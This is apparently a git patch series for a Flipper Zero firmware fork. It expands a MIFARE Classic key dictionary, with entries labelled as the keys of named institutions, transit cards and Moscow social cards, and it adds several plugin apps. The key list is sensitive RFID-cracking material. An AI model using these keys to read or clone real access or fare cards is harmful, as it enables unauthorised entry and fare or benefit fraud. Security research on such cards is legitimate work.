-abba1234fcb0 -314f495254ff -4152414b4e41 -4E474434FFFF -44dd5a385aaf -21a600056cb0 -b1aca33180a5 -dd61eb6bce22 -1565a172770f -3e84d2612e2a -f23442436765 -79674f96c771 -87df99d496cb -c5132c8980bc -a21680c27773 -f26e21edcee2 -675557ecc92e -f4396e468114 -6db17c16b35b -4186562a5bb2 -2feae851c199 -db1a3338b2eb -157b10d84c6b -a643f952ea57 -df37dcb6afb3 -4c32baf326e0 -91ce16c07ac5 -3c5d1c2bcd18 -c3f19ec592a2 -f72a29005459 -185fa3438949 -321a695bd266 -d327083a60a7 -45635ef66ef3 -5481986d2d62 -cba6ae869ad5 -645a166b1eeb -a7abbc77cc9e -f792c4c76a5c -bfb6796a11db -2338b4913111 -cb779c50e1bd -a27d3804c259 -003cc420001a -f9861526130f -381ece050fbd -a57186bdd2b9 -48c739e21a04 -36abf5874ed7 -649d2abbbd20 -bbe8fffcf363 -ab4e7045e97d -340e40f81cd8 -e4f65c0ef32c -d2a597d76936 -a920f32fe93a -86afd95200f7 -9b832a9881ff -26643965b16e -0c669993c776 -b468d1991af9 -d9a37831dce5 -2fc1f32f51b1 -0ffbf65b5a14 -c5cfe06d9ea3 -c0dece673829 -a56c2df9a26d -68d3f7307c89 -568c9083f71c -564c505f4d41 -ba5b895da162 -5c8ff9990da2 -75ccb59c9bed -d01afeeb890a -4b791bea7bcc -2ef720f2af76 -414c41524f4e -424c41524f4e -4a6352684677 -bf1f4424af76 -536653644c65 -a22ae129c013 -49fae4e3849f -38fcf33072e0 -8ad5517b4b18 -509359f131b1 -6c78928e1317 -aa0720018738 -a6cac2886412 -62d0c424ed8e -e64a986a5d94 -8fa1d601d0a2 -89347350bd36 -66d2b7dc39ef -6bc1e1ae547d -22729a9bd40f -925b158f796f -fad63ecb5891 -bba840ba1c57 -cc6b3b3cd263 -6245e47352e6 -8ed41e8b8056 -2dd39a54e1f3 -6d4c5b3658d2 -1877ed29435a -52264716efde -961c0db4a7ed -703140fd6d86 -157c9a513fa5 -e2a5dc8e066f -ef1232ab18a0 -374bf468607f -bfc8e353af63 -15cafd6159f6 -62efd80ab715 -987a7f7f1a35 -c4104fa3c526 -4c961f23e6be -67546972bc69 -f4cd5d4c13ff -94414c1a07dc -16551d52fd20 -9cb290282f7d -77a84170b574 -ed646c83a4f3 -e703589db50b -513c85d06cde -95093f0b2e22 -543b01b27a95 -c6d375b99972 -ee4cc572b40e -5106ca7e4a69 -c96bd1ce607f -167a1be102e0 -a8d0d850a606 -a2abb693ce34 -7b296c40c486 -91f93a5564c9 -e10623e7a016 -b725f9cbf183 -8829da9daf76 -4f9f59c9c875 -66f3ed00fed7 -f7a39753d018 -2031d1e57a3b -53c11f90822a -9189449ea24e -410b9b40b872 -2cb1a90071c8 -0000000018de -16ddcb6b3f24 -2a2c13cc242a -b7bf0c13066e -3060206f5b0a -5ec39b022f2b -3a09594c8587 -f1b9f5669cc8 -f662248e7e89 -62387b8d250d -f238d78ff48f -9dc282d46217 -afd0ba94d624 -92ee4dc87191 -b35a0e4acc09 -756ef55e2507 -447ab7fd5a6b -932b9cb730ef -1f1a0a111b5b -ad9e0a1ca2f7 -d58023ba2bdc -62ced42a6d87 -2548a443df28 -2ed3b15e7c0f -f66224ee1e89 -60012e9ba3fa -de1fcbec764b -81bfbe8cacba -bff123126c9b -2f47741062a0 -b4166b0a27ea -a170d9b59f95 -400bc9be8976 -d80511fc2ab4 -1fcef3005bcf -bb467463acd6 -e67c8010502d -ff58ba1b4478 -fbf225dc5d58 -4708111c8604 -3d50d902ea48 -96a301bce267 -6700f10fec09 -7a09cc1db70a -560f7cff2d81 -66b31e64ca4b -9e53491f685b -3a09911d860c -8a036920ac0c -361f69d2c462 -d9bcde7fc489 -0c03a720f208 -6018522fac02 -8a19d40cf2b5 -ae8587108640 -135b88a94b8b -00ada2cd516d -237a4d0d9119 -0ed7846c2bc9 -0172066b2f03 -0000085f0000 -1a80b93f7107 -70172066b2f0 -b1a80c94f710 -0b0172066b2f -0f1a81c95071 -f0f0172066b2 -1131a81d9507 -2f130172066b -71171a82d951 -b2f170172066 -1711b1a82e96 -6b2f1b017206 -62711f1a83e9 -66b2f1f01720 -97271231a83f -066b2f230172 -f97371271a84 -2066b2f27017 -50983712b1a8 -72066b2f2b01 -850984712f1a -172066b2f2f0 -a85198481331 -0172066b2f33 -1a8619858137 -70172066b2f3 -b1a862985913 -3b0172066b2f -3f1a87298691 -f3f0172066b2 -604Ac8D87C7E -b210cfa436d2 -b8b1cfa646a8 -a9f95891f0a4 -a506370e7c0f -26396f2042e7 -70758fdd31e0 -9f9d8eeddcce -06ff5f03aa1a -4098653289d3 -904735f00f9e -b4c36c79da8d -68f9a1f0b424 -5a85536395b3 -7dd399d4e897 -ef4c5a7ac6fc -b47058139187 -8268046cd154 -67cc03b7d577 -a5524645cd91 -d964406e67b4 -99858a49c119 -7b7e752b6a2d -c27d999912ea -66a163ba82b4 -4c60f4b15ba8 -35d850d10a24 -4b511f4d28dd -e45230e7a9e8 -535f47d35e39 -fb6c88b7e279 -23d4cdff8da3 -e6849fcc324b -12fd3a94df0e -0b83797a9c64 -39ad2963d3d1 -34b16cd59ff8 -bb2c0007d022 -0734bfb93dab -85a438f72a8a -58ac17bf3629 -b62307b62307 -a2a3cca2a3cc -0f385ffb6529 -29173860fc76 -2fca8492f386 -385efa542907 -3864fcba5937 -3f3865fccb69 -6291b3860fc8 -63fca9492f38 -863fcb959373 -87291f3861fc -913385ffb752 -b385efa64290 -c9739233861f -f3864fcca693 -fc9839273862 -4a306e62e9b6 -f00dfeedd0d0 -0bb31dc123e5 -7578bf2c66a9 -cd212889c3ed -6936c035ae1b -c6c866aa421e -590bd659cdd2 -aa734d2f40e0 -09800ff94aaf -5a12f83326e7 -c554ef6a6015 -0d8ca561bdf3 -b8937130b6ba -d7744a1a0c44 -82908b57ef4f -fe04ecfe5577 -4d57414c5648 -4d48414c5648 -6d9b485a4845 -5a7a52d5e20d -4a832584637d -ca679d6291b0 -30d9690fc5bc -5296c26109d4 -e77952748484 -91c2376005a1 -30b7680b2bc9 -e2a9e88bfe16 -43b04995d234 -aade86b1f9c1 -5ea088c824c9 -c67beb41ffbf -b84d52971107 -52b0d3f6116e -ca3a24669d45 -4087c6a75a96 -403f09848b87 -d73438698eea -5f31f6fcd3a0 -a0974382c4c5 -a82045a10949 -534f4c303232 -ff9a84635bd2 -6f30126ee7e4 -6039abb101bb -f1a1239a4487 -b882fd4a9f78 -3a471b2192bf -a297ceb7d34b -ae76242931f1 -5e594208ef02 -af9e38d36582 -f5c1c4c5de34 -d66d91829013 -75b691829013 -83e391829013 -a23c91829013 -e46a91829013 -d9e091829013 -fed791829013 -155f91829013 -06cc91829013 -8ddc91829013 -54af91829013 -29a791829013 +7C469FE86855 +CE99FBC8BD26 +# KEYS FROM EUROTHERMES GROUP (SWITZERLAND) +D66D91829013 +75B691829013 +83E391829013 +A23C91829013 +E46A91829013 +D9E091829013 +FED791829013 +155F91829013 +06CC91829013 +8DDC91829013 +54AF91829013 +29A791829013 668091829013 -00008627c10a +00008627C10A +#KEYS FROM NSP MANCHESTER UNIVERSITY UK ACCOMODATION STAFF AND STUDENTS 199404281970 199404281998 +# EASYCARD 310D51E539CA 2CCDA1358323 03E0094CEDFE 562E6EF73DB6 F53E9F4114A9 AD38C17DE7D2 -2DEB57A3EA8F -32C1BB023F87 -70E3AD3F2D29 -202ECDCCC642 -3686192D813F -24501C422387 -2C7813A721C3 -FFE04BE3D995 -D28F090677A1 -DE2D83E2DCCC -A66A478712EA -643232ADB2D5 -C7F4A4478415 -95C013B70D99 -3C383889362A -3C6D9C4A90FA -51BEDBA005E5 -74BF7363F354 -53B09DB89111 -E98075318085 -2F904641D75F -7F60AEF68136 -F5C1B3F62FDA -3E6E5713BA10 -8B75A29D4AB2 -7E6545076619 -4C5A766DFE3A -32C6768847F5 -F68930789631 -8B42B6D64B02 -B627A3CB13F8 -562A4FB8260B -88DDC24E1671 -91CB7802A559 -7A3E0F5B63FC -8CA2C9DC8292 -5CCC6D50EAAC -DE4F5AA9A7F3 -52D0145E1AF5 -C10F92A4E57E -7D6E7AF43C97 -DE1E7D5F6DF1 -F4CB751B031A -C54474936B59 -2A1F900D4533 -6303CDCBB233 -F115E91357B3 -BFE25035B0C8 -62FF943EB069 -7C82EF592001 -D5C172325DD3 -992B152E834A -CE75D7EADEAF -038B5F9B5A2A -04DC35277635 -0C420A20E056 -152FD0C420A7 -296FC317A513 -29C35FA068FB -31BEC3D9E510 -462225CD34CF -4B7CB25354D3 -5583698DF085 -578A9ADA41E3 -6F95887A4FD3 -7600E889ADF9 -86120E488ABF -8818A9C5D406 -8C90C70CFF4A -8E65B3AF7D22 -9764FEC3154A -9BA241DB3F56 -AD2BDC097023 -B0A2AAF3A1BA -B69D40D1A439 -C956C3B80DA3 -CA96A487DE0B -D0A4131FB290 -D27058C6E2C7 -E19504C39461 -FA1FBB3F0F1F -FF16014FEFC7 +############ +# HTTPS://GITHUB.COM/ICEMAN1001/PROXMARK +4B0B20107CCB +415A54454B4D +# SOME KEYS OF HTTPS://W3BSIT3-DNS.COM AND HTTPS://IKEY.RU +# STRELKA EXTENSION +5C83859F2224 +66B504430416 +70D1CF2C6843 +C4B3BD0ED5F1 +C4D3911AD1B3 +CAD7D4A6A996 +DA898ACBB854 +FEA1295774F9 +# MOSCOW PUBLIC TOILETS CARD +807119F81418 +22C8BCD10AAA +0AAABA420191 +E51B4C22C8BC +DBF9F79AB7A2 +34EDE51B4C22 +C8BCD10AAABA +BCD10AAABA42 +# MOSCOW SOCIAL CARD +2F87F74090D1 +E53EAEFE478F +CE2797E73070 +328A034B93DB +81E1529AE22B +FC55C50E579F +1A72E2337BC3 +5DB52676BE07 +F64FBF085098 +8FE758A8F039 +BB1484CC155D +41990A529AE2 +CD2E9EE62F77 +69C1327AC20B +3C9C0D559DE5 +67BF3880C811 +48A01159A1E9 +2B83FB448CD4 +F24BBB044C94 +94F46DB5FD46 +C31C8CD41D65 +BB1684CC155D +CA2393DB246C +1D75E52E76BE +81D9529AE223 +0159C9125AA2 +52AA1B6BB3FB +97EF60A8F031 +6FC73888D011 +3A92FA438BD3 +74CC3D85CD0E +025ACA1B63A3 +AF0878C81151 +9BFB6CB4FC45 +F750C0095199 +075FCF1860A8 +2686EE3F87C7 +277FEF3880C0 +82DA4B93DB1C +9CF46DB5FD46 +93EB64ACF43D +# KEYS FROM RFIDRESEARCHGROUP PROXMARK3 PROJECT +# HTTPS://GITHUB.COM/RFIDRESEARCHGROUP/PROXMARK3/BLOB/MASTER/CLIENT/DICTIONARIES/MFC_DEFAULT_KEYS.DIC +135B88A94B8B +C1E51C63B8F5 +18F34C92A56E +74A386AD0A6D +13B91C226E56 +5A7A52D5E20D +# IRON LOGIC +A3A26EF4C6B0 +2C3FEAAE99FC +E85B73382E1F +F4ED24C2B998 +CB574C6D3B19 +E092081D724B +B38D82CF7B6C +8228D2AA6EFA +2C7E983588A3 +CF7A7B77E232 +32A7F5EAF87D +7453A687B5F0 +01A0C008A5B9 +DEC0CEB0CE24 +413BED2AE45B +D6261A9A4B3F +CB9D507CE56D +# MORE KEYS FROM THE PM3 REPO +DC018FC1D126 +C428C4550A75 +0C4233587119 +540D5E6355CC +35C649004000 +6307417353C1 +35D152154017 +D1417E431949 +D973D917A4C7 +730956C72BC2 +F678905568C3 +43E69C28F08C +0F35D5660653 +F7FA2F629BB1 +E2F14D0A0E28 +9C616585E26D +4927C97F1D57 +155332417E00 +00460740D722 +2E71D3BD262A +4F75030AD12B +D75971531042 +1170553E4304 +0E620691B9FE +10510049D725 +94B6A644DFF6 +130662240200 +05F5EC05133C +28D70900734C +C151D998C669 +9386E2A48280 +046154274C11 +E7316853E731 +735175696421 +5D0762D13401 +2803BCB0C7E1 +424C0FFBF657 +AF9E38D36582 +50240A68D1D8 +6B13935CD550 +521B517352C7 +5E594208EF02 +A7765C952DDF +2CA4A4D68B8E +# KEYS OF ARMENIAN UNDERGROUND TICKET +A0A1A2A8A4A5 +# +# https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/mfc_keys_bmp_sorted.dic 002DE0301481 004173272D18 0058A4884CA5 @@ -2874,6 +2487,7 @@ EE17C426D25E EE487A4C806E EE5931913A8D EED56840AEBA +# https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/mfc_keys_icbmp_sorted.dic 00383D96411D 005307DB7853 009A4C4C6C49 @@ -3874,3 +3488,146 @@ EE3029556CEB EE49610E6121 EEB704D69BCA EED69A391464 +# https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/mfc_keys_mrzd_sorted.dic +010203040506 +013940233313 +022FE48B3072 +123456789ABC +123456ABCDEF +17505586EF02 +1795902DBAF9 +1A2B3C4D5E6F +1A982C7E459A +200306202033 +2011092119F1 +2012053082AD +37D4DCA92451 +40E5EA1EFC00 +435330666666 +46868F6D5677 +474249437569 +4D3A99C351DD +533CB6C723F6 +5554AAA96321 +587EE5F9350F +5A1B85FCE20A +5D293AFC8D7E +64A2EE93B12B +64E2283FCF5E +714C5C886E97 +833FBD3CFE51 +83BAB5ACAD62 +872B71F9D15A +8F9B229047AC +8FD0A4F256E9 +9AEDF9931EC1 +9B1DD7C030A1 +A0478CC39091 +A0A1A2A3A4A5 +A2B2C9D187FB +A4EF6C3BB692 +AABBCC660429 +AABBCCDDEEFF +ABCDEF123456 +B0699AD03D17 +B0B1B2B3B4B5 +BA28CFD15EE8 +BCFE01BCFE01 +C0C1C2C3C4C5 +CFC738403AB0 +D0D1D2D3D4D5 +D3F7D3F7D3F7 +DB5181C92CBE +DFED39FFBB76 +E1DD284379D4 +E96246531342 +ED3A7EFBFF56 +F83466888612 +F89C86B2A961 +FFFFAE82366C +FFFFD06F83E3 +# +# Unknown origin +# +2DEB57A3EA8F +32C1BB023F87 +70E3AD3F2D29 +202ECDCCC642 +3686192D813F +24501C422387 +2C7813A721C3 +FFE04BE3D995 +D28F090677A1 +DE2D83E2DCCC +A66A478712EA +643232ADB2D5 +C7F4A4478415 +95C013B70D99 +3C383889362A +3C6D9C4A90FA +51BEDBA005E5 +74BF7363F354 +53B09DB89111 +E98075318085 +2F904641D75F +7F60AEF68136 +F5C1B3F62FDA +3E6E5713BA10 +8B75A29D4AB2 +7E6545076619 +4C5A766DFE3A +32C6768847F5 +F68930789631 +8B42B6D64B02 +B627A3CB13F8 +562A4FB8260B +88DDC24E1671 +91CB7802A559 +7A3E0F5B63FC +8CA2C9DC8292 +5CCC6D50EAAC +DE4F5AA9A7F3 +52D0145E1AF5 +C10F92A4E57E +7D6E7AF43C97 +DE1E7D5F6DF1 +F4CB751B031A +C54474936B59 +2A1F900D4533 +6303CDCBB233 +F115E91357B3 +BFE25035B0C8 +62FF943EB069 +7C82EF592001 +D5C172325DD3 +992B152E834A +CE75D7EADEAF +038B5F9B5A2A +04DC35277635 +0C420A20E056 +152FD0C420A7 +296FC317A513 +29C35FA068FB +31BEC3D9E510 +462225CD34CF +4B7CB25354D3 +5583698DF085 +578A9ADA41E3 +6F95887A4FD3 +7600E889ADF9 +86120E488ABF +8818A9C5D406 +8C90C70CFF4A +8E65B3AF7D22 +9764FEC3154A +9BA241DB3F56 +AD2BDC097023 +B0A2AAF3A1BA +B69D40D1A439 +C956C3B80DA3 +CA96A487DE0B +D0A4131FB290 +D27058C6E2C7 +E19504C39461 +FA1FBB3F0F1F +FF16014FEFC7 From a8606fb40d65b35770d9b90f472151f06d481a06 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 17 May 2022 11:38:37 +0300 Subject: [PATCH 166/461] Update Manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 77beae86f..2c5164520 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1652480574 +T:1652701740 D:badusb D:dolphin D:infrared @@ -275,7 +275,7 @@ D:nfc/assets F:c6826a621d081d68309e4be424d3d974:4715:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:33ce9c9b878875fb51958e58e45ef0be:50388:nfc/assets/mf_classic_dict.nfc +F:18d6ceceaa8d86931a631103152f121d:50397:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes From 7fbf49d377953b0fdfb481d22beedcd0bd4f3757 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 17 May 2022 15:54:09 +0300 Subject: [PATCH 167/461] plugins --- applications/applications.c | 78 ++++- applications/applications.mk | 44 ++- applications/clock_app/clock_app.c | 278 ++++++++++++++++ applications/flappy_bird/bird.h | 54 ++++ applications/flappy_bird/flappy_bird.c | 256 +++++++++++++++ applications/jukebox/jukebox.c | 303 ++++++++++++++++++ .../notification/notification_settings_app.c | 5 +- applications/snake_game/snake_game.c | 7 + .../spectrum_analyzer/spectrum_analyzer.c | 6 +- .../spectrum_analyzer_worker.c | 2 +- .../spectrum_analyzer_worker.h | 2 +- .../subghz/scenes/subghz_scene_read_raw.c | 25 +- applications/subghz/subghz_setting.c | 13 +- applications/tetris_game/tetris_game.c | 4 +- applications/universal_rf/universal_rf.c | 303 ++++++++++++++++++ applications/wav_player/wav_parser.c | 84 +++++ applications/wav_player/wav_parser.h | 51 +++ applications/wav_player/wav_player.c | 303 ++++++++++++++++++ applications/wav_player/wav_player_hal.c | 58 ++++ applications/wav_player/wav_player_hal.h | 23 ++ applications/wav_player/wav_player_view.c | 214 +++++++++++++ applications/wav_player/wav_player_view.h | 45 +++ assets/compiled/assets_icons.c | 52 +++ assets/compiled/assets_icons.h | 3 + assets/icons/MainMenu/Clock_14/frame_01.png | Bin 0 -> 173 bytes assets/icons/MainMenu/Clock_14/frame_02.png | Bin 0 -> 176 bytes assets/icons/MainMenu/Clock_14/frame_03.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_04.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_05.png | Bin 0 -> 172 bytes assets/icons/MainMenu/Clock_14/frame_06.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_07.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_08.png | Bin 0 -> 178 bytes assets/icons/MainMenu/Clock_14/frame_rate | 1 + .../icons/MainMenu/MusicPlayer_14/frame_0.png | Bin 0 -> 149 bytes .../icons/MainMenu/MusicPlayer_14/frame_1.png | Bin 0 -> 148 bytes .../icons/MainMenu/MusicPlayer_14/frame_2.png | Bin 0 -> 141 bytes .../icons/MainMenu/MusicPlayer_14/frame_3.png | Bin 0 -> 147 bytes .../icons/MainMenu/MusicPlayer_14/frame_4.png | Bin 0 -> 144 bytes .../icons/MainMenu/MusicPlayer_14/frame_rate | 1 + .../frame_00_delay-0.04s.png | Bin 0 -> 470 bytes .../frame_01_delay-0.04s.png | Bin 0 -> 411 bytes .../frame_02_delay-0.04s.png | Bin 0 -> 411 bytes .../frame_03_delay-0.04s.png | Bin 0 -> 411 bytes .../frame_04_delay-0.04s.png | Bin 0 -> 401 bytes .../frame_05_delay-0.04s.png | Bin 0 -> 397 bytes .../frame_06_delay-0.04s.png | Bin 0 -> 400 bytes .../frame_07_delay-0.04s.png | Bin 0 -> 404 bytes .../frame_08_delay-0.04s.png | Bin 0 -> 414 bytes .../frame_09_delay-0.04s.png | Bin 0 -> 427 bytes .../frame_10_delay-0.04s.png | Bin 0 -> 427 bytes .../frame_11_delay-0.04s.png | Bin 0 -> 426 bytes .../frame_12_delay-0.04s.png | Bin 0 -> 431 bytes .../frame_13_delay-0.04s.png | Bin 0 -> 424 bytes .../frame_14_delay-0.04s.png | Bin 0 -> 424 bytes .../frame_15_delay-0.04s.png | Bin 0 -> 424 bytes .../frame_16_delay-0.04s.png | Bin 0 -> 424 bytes .../frame_17_delay-0.04s.png | Bin 0 -> 426 bytes .../frame_18_delay-0.04s.png | Bin 0 -> 418 bytes .../frame_19_delay-0.04s.png | Bin 0 -> 419 bytes .../frame_20_delay-0.04s.png | Bin 0 -> 425 bytes .../frame_21_delay-0.04s.png | Bin 0 -> 415 bytes .../frame_22_delay-0.04s.png | Bin 0 -> 405 bytes .../frame_23_delay-0.04s.png | Bin 0 -> 394 bytes .../frame_24_delay-0.04s.png | Bin 0 -> 401 bytes .../frame_25_delay-0.04s.png | Bin 0 -> 401 bytes .../frame_26_delay-0.04s.png | Bin 0 -> 404 bytes .../frame_27_delay-0.04s.png | Bin 0 -> 410 bytes .../frame_28_delay-0.04s.png | Bin 0 -> 411 bytes .../frame_29_delay-0.04s.png | Bin 0 -> 411 bytes .../MainMenu/UniversalRemote_14/frame_rate | 1 + .../assets/setting_frequency_analyzer_user | 12 + assets/resources/subghz/assets/setting_user | 16 +- assets/resources/subghz/assets/touchtunes_map | 7 + .../resources/subghz/assets/universal_rf_map | 7 + firmware/targets/f7/target.mk | 3 +- lib/toolbox/random_name.c | 41 +-- 76 files changed, 2239 insertions(+), 63 deletions(-) create mode 100644 applications/clock_app/clock_app.c create mode 100644 applications/flappy_bird/bird.h create mode 100644 applications/flappy_bird/flappy_bird.c create mode 100644 applications/jukebox/jukebox.c create mode 100644 applications/universal_rf/universal_rf.c create mode 100644 applications/wav_player/wav_parser.c create mode 100644 applications/wav_player/wav_parser.h create mode 100644 applications/wav_player/wav_player.c create mode 100644 applications/wav_player/wav_player_hal.c create mode 100644 applications/wav_player/wav_player_hal.h create mode 100644 applications/wav_player/wav_player_view.c create mode 100644 applications/wav_player/wav_player_view.h create mode 100644 assets/icons/MainMenu/Clock_14/frame_01.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_02.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_03.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_04.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_05.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_06.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_07.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_08.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_rate create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_0.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_1.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_2.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_3.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_4.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_rate create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_00_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_01_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_02_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_03_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_04_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_05_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_06_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_07_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_08_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_09_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_10_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_11_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_12_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_13_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_14_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_15_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_16_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_17_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_18_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_19_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_20_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_21_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_22_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_23_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_24_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_25_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_26_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_27_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_28_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_29_delay-0.04s.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_rate create mode 100644 assets/resources/subghz/assets/touchtunes_map create mode 100644 assets/resources/subghz/assets/universal_rf_map diff --git a/applications/applications.c b/applications/applications.c index 9e19ea5d8..a4e81a88d 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -21,6 +21,7 @@ extern int32_t accessor_app(void* p); extern int32_t archive_app(void* p); extern int32_t bad_usb_app(void* p); extern int32_t u2f_app(void* p); +extern int32_t wav_player_app(void* p); extern int32_t uart_echo_app(void* p); extern int32_t blink_test_app(void* p); extern int32_t bt_debug_app(void* p); @@ -38,6 +39,8 @@ extern int32_t passport_app(void* p); extern int32_t scened_app(void* p); extern int32_t storage_test_app(void* p); extern int32_t subghz_app(void* p); +extern int32_t jukebox_app(void *p); +extern int32_t universal_rf_remote_app(void *p); extern int32_t usb_mouse_app(void* p); extern int32_t usb_test_app(void* p); extern int32_t vibro_test_app(void* p); @@ -49,7 +52,11 @@ extern int32_t text_box_test_app(void* p); extern int32_t music_player_app(void* p); extern int32_t snake_game_app(void* p); extern int32_t tetris_game_app(void *p); +extern int32_t clock_app(void *p); +// extern int32_t floopper_bloopper(void* p); +// extern int32_t raycast_game_app(void* p); extern int32_t spectrum_analyzer_app(void* p); +extern int32_t flappy_game_app(void* p); // On system start hooks declaration extern void bt_on_system_start(); @@ -207,6 +214,14 @@ const size_t FLIPPER_SYSTEM_APPS_COUNT = COUNT_OF(FLIPPER_SYSTEM_APPS); // Main menu APP const FlipperApplication FLIPPER_APPS[] = { +#ifdef APP_CLOCK + {.app = clock_app, + .name = "Clock", + .stack_size = 2048, + .icon = &A_Clock_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_SUBGHZ {.app = subghz_app, .name = "Sub-GHz", @@ -270,7 +285,6 @@ const FlipperApplication FLIPPER_APPS[] = { .icon = &A_U2F_14, .flags = FlipperApplicationFlagDefault}, #endif - }; const size_t FLIPPER_APPS_COUNT = COUNT_OF(FLIPPER_APPS); @@ -336,11 +350,27 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_FLAPPY_GAME + {.app = flappy_game_app, + .name = "Flipper Flappy Bird", + .stack_size = 1024, + .icon = &A_Plugins_14 + }, +#endif + +#ifdef APP_JUKEBOX + {.app = jukebox_app, + .name = "Jukebox", + .stack_size = 2048, + .icon = &A_UniversalRemote_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_MUSIC_PLAYER {.app = music_player_app, .name = "Music Player", .stack_size = 2048, - .icon = &A_Plugins_14, + .icon = &A_MusicPlayer_14, .flags = FlipperApplicationFlagDefault}, #endif @@ -352,20 +382,44 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_TETRIS_GAME - {.app = tetris_game_app, - .name = "Tetris Game", - .stack_size = 1024, - .icon = NULL}, +#ifdef APP_SPECTRUM_ANALYZER + {.app = spectrum_analyzer_app, + .name = "Spectrum Analyzer", + .stack_size = 1024, + .icon = &A_Plugins_14, + .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_SPECTRUM_ANALYZER - {.app = spectrum_analyzer_app, - .name = "Spectrum Analyzer", - .stack_size = 1024, - .icon = &A_Plugins_14, +#ifdef APP_TETRIS_GAME + {.app = tetris_game_app, .name = "Tetris Game", .stack_size = 1024, .icon = NULL}, +#endif + +#ifdef APP_UNIVERSALRF + {.app = universal_rf_remote_app, + .name = "Universal SubGHz", + .stack_size = 2048, + .icon = &A_UniversalRemote_14, .flags = FlipperApplicationFlagDefault}, #endif + + {.app = wav_player_app, + .name = "Wav Player", + .stack_size = 4096, + .icon = &A_MusicPlayer_14, + .flags = FlipperApplicationFlagDefault}, + +// #ifdef APP_RAYCAST_GAME +// {.app = raycast_game_app, .name = "Raycast Game", .stack_size = 4096, .icon = NULL}, +// #endif + +// #ifdef FLOOPPER_BLOOPPER +// {.app = floopper_bloopper, +// .name = "Floopper Bloopper", +// .stack_size = 1024, +// .icon = &A_Plugins_14, +// .flags = FlipperApplicationFlagDefault}, +// #endif + }; const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); diff --git a/applications/applications.mk 